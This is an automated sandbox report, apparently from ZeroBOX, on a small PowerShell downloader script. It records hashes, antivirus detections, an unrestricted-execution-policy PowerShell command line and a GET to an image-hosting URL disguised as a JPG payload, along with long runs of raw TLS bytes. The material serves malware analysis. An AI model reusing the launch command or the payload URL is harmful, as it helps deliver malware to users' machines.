Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 3, 2024, 7 p.m.	July 3, 2024, 7:02 p.m.

Size	1.4KB
Type	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
MD5	`478b1ac88592f59f8a1d4cb790120c38`
SHA256	`3aad96ae8257170d413eb6965ecb7bb167040176d07f52f69ba8df9f2e534605`
CRC32	`D1477605`
ssdeep	`24:QRjMpzlw2FnVHLw1PkXDlu+OjK8vGTdvVTxdFw//vOvyC2/BP:6I9V01uw+GdvGRNTfC//vcyC25`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\file_ahstznsa.ob0.txt.ps1
2548

Name	Response	Post-Analysis Lookup
uploaddeimagens.com.br	A 104.21.45.138 A 172.67.215.45	172.67.215.45

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.215.45	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49163 -> 172.67.215.45:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49163 172.67.215.45:443	C=US, O=Google Trust Services, CN=WE1	CN=uploaddeimagens.com.br	73:a9:e0:a5:b1:5f:db:89:38:94:4f:97:4d:68:78:e4:59:c5:9f:a5

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW July 3, 2024, 7 p.m.	computer_name: TEST22-PC	1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235

Performs some HTTP requests (1 event)

request

GET https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235

Allocates read-write-execute memory (usually to unpack itself) (17 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0227f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02249000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02279000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05476000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05477000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 3, 2024, 7 p.m.	process_identifier: 2548 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x060b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

VIPRE	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
BitDefender	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
MicroWorld-eScan	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
Rising	Downloader.Agent/PS!1.F60A (CLASSIC)
Emsisoft	Heur.BZC.PZQ.Boxter.971.D2ACB3FC (B)
FireEye	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
Arcabit	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
GData	Heur.BZC.PZQ.Boxter.971.D2ACB3FC
MAX	malware (ai score=83)

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 3, 2024, 7 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (20 events)

Data received	[
Data received	Wf!I¨haNí¨±mmú¬{3ÚDOWNGRD ÿ:<ç^"øÝíâÂ[ Ã38ê!AA~Ä3=¼(À ÿ
Data received	ø
Data received	ô ñÇ0Ã0j òaù³Zª 6hw8 l0 HÎ=0;10 UUS10U Google Trust Services10 UWE10 240611225025Z 240909225024Z0!10Uuploaddeimagens.com.br0Y0HÎ=HÎ=BxJ_ÍYºOC0êm3·QÀ4EåNãÀF<30am×&ý!.\|sÕT[BdÿÇ4Á£h0d0Uÿ0U%0 +0Uÿ00Urq»òà²Ìl¨¿nË»t0U#0w5gÄÿ¨Ì©æ{Ùy{Ìù80^+R0P0'+0http://o.pki.goog/s/we1/DvI0%+0http://i.pki.goog/we1.crt0;U402uploaddeimagens.com.br.uploaddeimagens.com.br0U 0 0g06U/0-0+ ) '%http://c.pki.goog/we1/0b07lKySgU0.crl0 +ÖyôñïvîÍÐdÕÛÎÅ\·´Í¢2F\|¼ìÞÃQHYFqµ µÈRG0E!Äøgó)bYÀËUøFñFfjVÒ«^Ñý 'þ!bØæJ¿[[%ª^nÐ«eÄ¡Ej'PußáVëª¯µq¨À2N®VÙn§õ¥jÑÁ;¾R\ µÉ(F0D -ãÙÛààúâ!¾ù¦Y6ÎÌú¿; y,@R _ÁFo"ÞæY!®Ú²¢1Ýj00 HÎ=G0D o1xð·»ÆÅèÀX\|óf$ÏMM½ÕÖªµ%\ pnÐÐÏ_ÜQ¿m¥¿òÿê¾ràië«`»á4rF£00% ów,"Jv]¶Öã0 HÎ=0G10 UUS1"0 U Google Trust Services LLC10UGTS Root R40 231213090000Z 290220140000Z0;10 UUS10U Google Trust Services10 UWE10Y0HÎ=HÎ=BoÍ:þgWGL!@ÂG]»XG@Á\Æ7çÕ\|íKÙ×¥ øÄÆèÿY,&õæ&%»úV£þ0û0Uÿ0U%0++0Uÿ0ÿ0Uw5gÄÿ¨Ì©æ{Ùy{Ìù80U#0LÖëtÿI6£ÕØüµ>Åjð04+(0&0$+0http://i.pki.goog/r4.crt0+U$0"0 http://c.pki.goog/r/r4.crl0U 0 0g0 HÎ=h0e1ç«QÖ÷CÎuþÑÕÌ@Az&¾Øó2-=®#HR>dy¯õ¦,nU±0&Ìhbç«~èÖD~ãLI¿lb4¸²¡~:P¼§ }sìRAMîâV~0z0b å0¿3C¾ÝI=0 H÷ 0W10 UBE10U GlobalSign nv-sa10URoot CA10UGlobalSign Root CA0 231115034321Z 280128000042Z0G10 UUS1"0 U Google Trust Services LLC10UGTS Root R40v0HÎ=+"bóts§h`®C¸5Å0{KIûÁaÎæÞF½kÕa5®@Ýs÷0Zë<î\|¢@v;©Æ¸GØçjsé±r9)¢Ó_^Xe¡eÑÜÉÇsÈj/åÄ«Ñ£ÿ0ü0Uÿ0U%0++0Uÿ0ÿ0ULÖëtÿI6£ÕØüµ>Åjð0U#0`{fE ÊP/}Í4¨ÿüýK06+0(0&+0http://i.pki.goog/gsr1.crt0-U&0$0" http://c.pki.goog/r/gsr1.crl0U 0 0g0 H÷ B»Öã?c ¤¡hH9"søËN-1éç ¡Ò6¬yëé°ëj¶{}t¸e«h,,ÝBýÆqÏ-÷kÈn}Vâ#XXù%ºG× ý ¶à.®UÑyu5,1[?e¼ÍB§±^ñ»Ê-Gð¬c~¿ÖäkÓÖÓgX¸ÿ÷¦ IP[?:%ò\ÓyW6Îÿ&·©ñí>ÈnëÓ<8ÀAá^SÏ> Wëîâ?H¥ñ¾Ñj#û?/¢µ½ên£FÎ.g¯3&ªÕKÒ©6Å&;[Áå
Data received
Data received	AnÐÓDXSN7o #YêE©gKÖ ÄNy"^z(Åâpßã3ÒÂÇ½¥t6Õâ(þØFF0D 4¶Q +ee¥gZ8®ZgaÒ'öê ª"\ Ou]îEÊ ¶IYw?FõÓ«ËêëJÔ\|
Data received
Data received
Data received
Data received
Data received	0
Data received	þD¼Ë[cnXc¿fX ÍßÙÙnÊû~Æpk¥.(ÈQëíàe³_Î[×**
Data received	p
Data received	¡àîH3¾°¬0yøõ²´r å[bZKÙÁc·ý¬}ÓýÄÝßZ[Gº#BrÈTY4öÐ¤Åyóè)÷tÙVxü¿£D±0ÛÝJfË"»^9(3Êÿ±ãó²Î²}1ngÜbZ¿ÅþFÏ7jÎaÁ_è¨ö¨L=Ys+nÿ3b-ÅóuÇ¼LÜ`qLûF,FMn`=w;f¾¬=Ïbæ<ÍÙGý©Ê¯·²BU>O¤êÁ¼iÕ¥ú÷RLd¡þûj»ýoéËäy3¤È`¡=dËÈS+ÀLùªf6[CgDX÷ßú¢m0ÂvJæ%Ôø; øÓJdvthÕ4Ê+×U¿ý^'º§æ¾1Ò+´^Sÿ¢å9Våú¦ÿ±%: K£AK»Ìõ®D<øöÄ#$Æ'L®NOè!°¼Y^Ey4ÂZºÄáÿÛË5wçÏ»ô#U¼ß#)¯# kF!~[R°2º÷öc:é}Eè~?BSøÛÅ÷ÀI2,®4ÆsN}ï1¸¹a$ãÎL&&âc5ýA\|¦rNaç·Ð¶²¼Ú³æú¤ 0Ä\|¤°o%^ì÷M!@6ôÓ±Ot±{íY¯¬%õtIAðßýw½Áz 4)S¿ T²DÎ¸iëÃ¸:¬fïh;+[ãUÎÛFÎåiy5aÁ`,j3èôâ¤HéÂæ$]4)qÅ6Dë÷Í,SÛÈ,áÄ½³ècÆ2 -("úíÃMJ'P¦oh'æl»~ÇsbÊBÑH¤rd/¨b]F`,2ÇWyeÀõºÆ¸Í?ö <Oß."/ÁÍÿ;è?Ý[öÀ±wA+¢}â9¡ Ò33ti5è÷Èÿ¿×ÅÛXZZ_ís»Ö4#º¤#½wúëXqdúóÔüMòüCÌ4j`úåteÛ!ÈJõïÄ$Í3²Øè'¿ ,««¦ dÁ0Yõ D©(Î£C[h)éÍ]áëÃ-Zø°À27@¼` ® DÂFä8÷öí¶m@ÌB6{µä+§èÊ¹Z,(É d<ïqgdÍus¢õ¶VïTªÂ·,Úûs'iø"à+Bì+¬ýg½Ê'9'XUc1hÅo×<pÏ+Vbè4÷ÖÑ<k/9±VçöPÛ$Ç´ûlÏrÂ³zâ§Í-6ªçÕ²9Ø=Ç²R[¥Ô¸Ô[Òáë>>\Ô\|.ès¿æ2ëÊ)Iìy¬¥½7ZxOX`4@rv¼³ ÄÐØ5èJT;Íé53H~ø:]Èöüïâ95&ääïu²\é½Wð©WnKjÛ$ó+!{kðÌÌ<ìÌOz¤CÚÊ],³p)üWÇM;R¸VU¢òj¾<hiFWÁX6[¾,0 ¡~¡b!ÄÆðÚyG)ãÊoØäpPIëÕÂÛ÷oUT7)©XÂZ×+sÊ(´ØÃóðÊ«³Õ?5VyìÈ çèX40\|~åQkôUë7B.Ø}úPs8Iã¹·ÑJ³iò=sÈ~:Í">
Data received	8ÌZÖø¾¾Gvr1ÔOGÃÒâ¬3û@ÿEO3"mK¿ Cµ/èÐ:U 6ú5Yå"0úæÉGeÆéö´¸<ÓjËí×)±µ#h$ýmR_ÖD)Ì@_Õîí'hÚf!MgBÄ;ëP¸OwÕLø?dÚÇ`r±®×b4]»4Éz~WwHÚ{w(B¶$ái.Û;>I~¨ùè×Ú¾°Ve´<eð]2¢Þ¬(Èbä"iÞ¦»2Ë³_¦z\| =7áy`g\|[\d[0VA¢²\|¼¦"iGÛÀæ¼f9´K >Iï/TØZFÁ(s)£¨%Oôlè&ÇYÖ²ÖzÅx0ÅØÂ@¸A_'öoÕ8sÍ×AO#¨¨Ï»r½´ý£kÁÍØï`«wþõÏ9È %Ñµtq5GE ÂÃ"C6$S3Im{$³Eãu)ý¡öè_;¦vn.í¯&ÙrHMrP\|iÀ÷mNûÄ½W§g Ê'Z1Àû+¨ê ï&ì¹-"òæY¤cçêãrmåp#Íê@ @Ýê{IjDô7ÕdùÚ,rì¶\|,zC~¶þ£QE¤8÷lò>Ú'Çeù(¦¤i¼³®)\õtÚ8bG¿ÜÐB¼üK¡w9Ú4vxÍlî!iñU¤Zú@]Æ3pèRþú51E@ç¯C-£\|áÀÔ]ùc4àiüCZC½æá½.sGFÎJË&EDx@ì*ÀW<kìð$!\8º.µ,\|4©ÛÌVNvZ:é´¢(ÔÔÐîºÒw09Ø2k60bÄ»ªÛ÷ªËÎs/HºõÛ¨@ÍxìÄFfü'(Þ÷®O) \|¿H;O§ëlñ@í\ ¡¼Q¹½)¹pùSlÃ÷ýâ0ÿD««ù ¹$&ÓIz;óNÇÜ=ËÌ'ÂZ\$®¬Þwï<spÜÏørÆ9K GÎÆ¡W}4µW+CYnvóJzM[lViQ¼êÇS¼gfIÆ©²?[ oÁPjñ/%²ÓÒ}3ç¶xÖ»<»Á¼kdîSõ2h? yU24I7]èDÊ£¼MËoÓg®GZä5Ö0MáC7xuZúzÝÎ¬}KïÒ&þÀEú%ÄàÞTü°a¬>"ÎÖ¦¨Jx2¶¹Y©×c¾Ý¡ÛÈÛñoõ]Ìæ/ò«Í«á²S58ÏÂêlmÇ?âHW¦7óRyIjSÂ¸ÕpQñ¾cé Æ«ä½÷5ÊHkÐÆ<OAÖ}i,K´1/çÿº^=KÙîãîþaÿ2¿S\|'pEhZÕ%¹¬§:ÔeÖbeé:óa¨±ë¡6Cî- ¯ÿR7OX õEâÓÄ¥ÀÑ}@µåÆ 'OÉbNmÊVT×1Z¢ö¼Á3)06«Fh)5Ò¨USZû ØÆsQÐ]EÇJùuÄZâ´¬AÆµ3½!I«üdÆ:E½+.yÍä{ãïaI1fµ1ïÂë©:h° jÕht£ïQÈÉåR%rqaûÇèi{1k7ElØ+xèìf\|æ²ÑkrgN§¹
Data received	-KÎQtúVMÁz ²O°¦PQ¶¬Ëû£ÜmÂöW²/½=ÒÅÜõÈB«~iÐ LÒ·[vLÕ®ªG:ð;D7s×SMõôít%¨B% kn¯½C^¶jR"7w¦[>ðþÄÒØzaQÞ-¤úSÂZþs[Çóê,ß2ívnø¡RØþ$Hm²!1ÀáÂõqîF© Çr:j4L¢O¡º3¦ØLnï>xC¯94§{ß\|©~½ª4¨ÃööLÇ3(I×GÖÍ¡YL""h¬hØ4² áÔyý´LwAÉÿhÓLµ&UÜÀoNÉdw8Ì]¦) 8Þ¶fëç¶8¹öIItÆ/¨íõÀ¨>pMÃ^õäT#'1½ã\0k`½ËN½V9vS¡øî [Û¹%ø[½öé¸½cpÿämßþ÷¨H^ü'xu"õò-ÝQháo=j¦iF3XDì4Å¸½&Øc1ZÎkpªD(¶tpÈM¦0ZAµS@Ã[A&iÖÂB9T~~Û(©ÏQ"¦Ï-¡e ïü¶è4}¾w/@ÐÚà¹·#xk÷á½SØ½@vÎíá½5Ú_,ßá?tx(}¿áfb4@AÀ³@½ÿáa¼'Mx¯@B`ÇàÍ²&x ÞÇìÊþäìdâ«d[á¯Ú7î6HdL\|2_EsªòçºXðØ¹Ônsíüó9kmq³EõO·Èzùm;ÚÛÞ\|rS1»ÜXääy½yqÕÌ8F§úê»8À¹xlu\{Û@-ÓR}pÍ\gIq¬kðéDSXÑþîEQ±Í¾ÏR=y<¼L¼pUT<QÙµø`bÁäçFwµóìà¥Ö[G;Êé¸g´þä}T+"ù¥¸g5Ü´ óu6 2·úA"°N¾H6ºâ¾×¾éQëÂ n#/PÒÜì±«¡Pñ7æàLÓe ¡"ÖätáOSMÿqW+i«ÿ§¡/'Q£z?yºpSÈ6Ûs>Ê)ÚÄÏ[VsìõóâØyèìeèq&ÙCö§á~ :>CEÂ \|qH3²1ûòÇVb°9 #¸ÎwnZfâ&þå]HFÜ.þ#ìT<asÈmeIq a6º û1,ø¢é]Ë¶/·d¿hÉÌí0ØÆºvfÈÙ¬µ,ÜË9Ñ¹ A=8÷ÿèpþòò¨½½ÄÁA¬+6¶,Cqì ÆZqÚ£HJ?ªªoÎuZà½Ð1y®ÝÃ>£@Ê¨V¤hB.s/¥cÁõÉy Ói¨Ìéy!øf±¼èlX#ÕÎ_ÜÓ_uêÿü äN ¡À<)ÇßÙC.ï ¨êîç«#O²eb.éÚ©ñ@èßºHÜrè8XMN.ÆÓb«'/Ô·êëµéÜ>wv2ã±G5iÊ9ìb¤oZ_4FYðêTãn¾ëñ>Ü+\|±î]@ó«ü·-7¨»Çã>Üºl»ñ5ÞDM(/9~Íù(ó«eè#?¬\ (Ñß ¨;/hFG¼©èÒ*LWcå§\|ÎÛ ù#ihÄÁiîvb½²PÌíàB/U[
Data received	Ð
Data received	Ôø~Ó&Q&§Útÿ¦QY>7M-5!æ¨2ÏÂRÞÏ tO£ñìT9ÚU¬79h;Sîõ5ûþ@ ¤Xd²@²Cð{UÍY["Eÿà\|¦) ½òe7)!SpüõXzhBëzúídtjÌZ·v+V/YÒ%b ª¾Î34ú\|rUÿÅ^ºæð´<Ñx¼hõºÚÈM¾·±ÁÀí-þcñV5hÖ1¼Ïm²úÃdªA¢áà¿^qi½'>È©ê jJP¾pÑ f§QøìkGM¸aàãÂVúúiGZk ©eÌJÇ¼¾ÈS^gÛ¨® %-c7 Ó9¢ÂeÔØOW GÚ½Ðÿa[°6rçýc·Þà/ÅòýÄj2©Mz&\oé Á¬ì\|KèÄ¹³á?M7T"ÛJÔ,×F:Yå_DçÛ»dmU³Ä×#oÍÓéüNe]¶ä1æUw.}ü FÎG ãT÷Ò×Êë½fS½rÍV)ÑHõ+Ù `ëMøÿ©LÅ/CF¤°Âp$,:ë`)±l$6t~Ù<åVö¯xê@ß§yìBâAß. ÿ¼ºm(uZÝµxÌà>xÌÑP¶\(²y+Ö§ ÛJéëlâ5×èåcÔ©ð Þ;[<àFå;ÙøÕ/,e n$»)^îS±äý»Ûö3b-íÌCãñ×F"¯/é0¬õqº½v®¢y¼¶Ê:zókª²LpGYð7ä êükÕÐNú`I"ÿÔñ&© ¾?* JR<T¸´Û4Ø`:i[·Rñ(º©7}FÆ±í%ÞKëªí%y^ü$'ÒCt`.¯RL?É6°05mÇíÔÛÃ··k{4j+¨å})Ù¨·V0¦7Ä»kØú{,æhüÐ4T4ù4a\|[>ÙWÒ¨£íÐ Âl?Ï"Ôm75§&s;÷Wó¯åÝ<Äàýéªhk ßdyTÛ(h±ÁuÆÛ<Pèù«8]íÑpäY5]¼úÒýzM:¬Ó&ÿòÙy"Ú.Ê íAØmËéÄçJèù·îÊ#«ÕóËæwMñ/ÊO5\|5±íïmñ"ó$ÿ¨vàã«´Xþ!ô·`¾Ð£Ì#£Q»8+êê
Data received
Data received	å¯Û*é>¿¯úßìt3w÷ác=Rr4V¬G¼d

Poweshell is sending data to a remote host (3 events)

Data sent	yuf!@;Þ;Ò4ä¨cWÓHT}HY©§lOIÄ¢å0/5 ÀÀÀ À 284ÿuploaddeimagens.com.br
Data sent	FBA×!Æä<2þ$Ö§éÖËTp2Ë 7èqÂcCÎ>S<íMÊ;ª3ìBÍÞÌ6°ÊZ@Uò¯×Bò 0û2UVÍU©>['a¤E#Ý!tÝõ´Û«7Ä¸µRÊn¦´I<»º¨
Data sent	âX&àïRäã¶£C¿®M«Öýµ^¶m{b ½Þà@#fP5gy×«(ÈPZÝÈi°ã9Õo1wZ¹Hk ÑsÅjsWì1ÓÐE²Uzø¥jUø7åY$Èµíp÷¿>u®÷ ©ª.E¼]ÐÌe²VBð¡þÑm¹Cã$ÊÙ×ô``ë55þ-ã

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send July 3, 2024, 7 p.m.	buffer: yuf!@;Þ;Ò4ä¨cWÓHT}HY©§lOIÄ¢å0/5 ÀÀÀ À 284ÿuploaddeimagens.com.br socket: 1536 sent: 126	1	126
send July 3, 2024, 7 p.m.	buffer: FBA×!Æä<2þ$Ö§éÖËTp2Ë 7èqÂcCÎ>S<íMÊ;ª3ìBÍÞÌ6°ÊZ@Uò¯×Bò 0û2UVÍU©>['a¤E#Ý!tÝõ´Û«7Ä¸µRÊn¦´I<»º¨ socket: 1536 sent: 134	1	134
send July 3, 2024, 7 p.m.	buffer: âX&àïRäã¶£C¿®M«Öýµ^¶m{b ½Þà@#fP5gy×«(ÈPZÝÈi°ã9Õo1wZ¹Hk ÑsÅjsWì1ÓÐE²Uzø¥jUø7åY$Èµíp÷¿>u®÷ ©ª.E¼]ÐÌe²VBð¡þÑm¹Cã$ÊÙ×ô``ë55þ-ã socket: 1536 sent: 165	1	165

file_ahstznsa.ob0.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All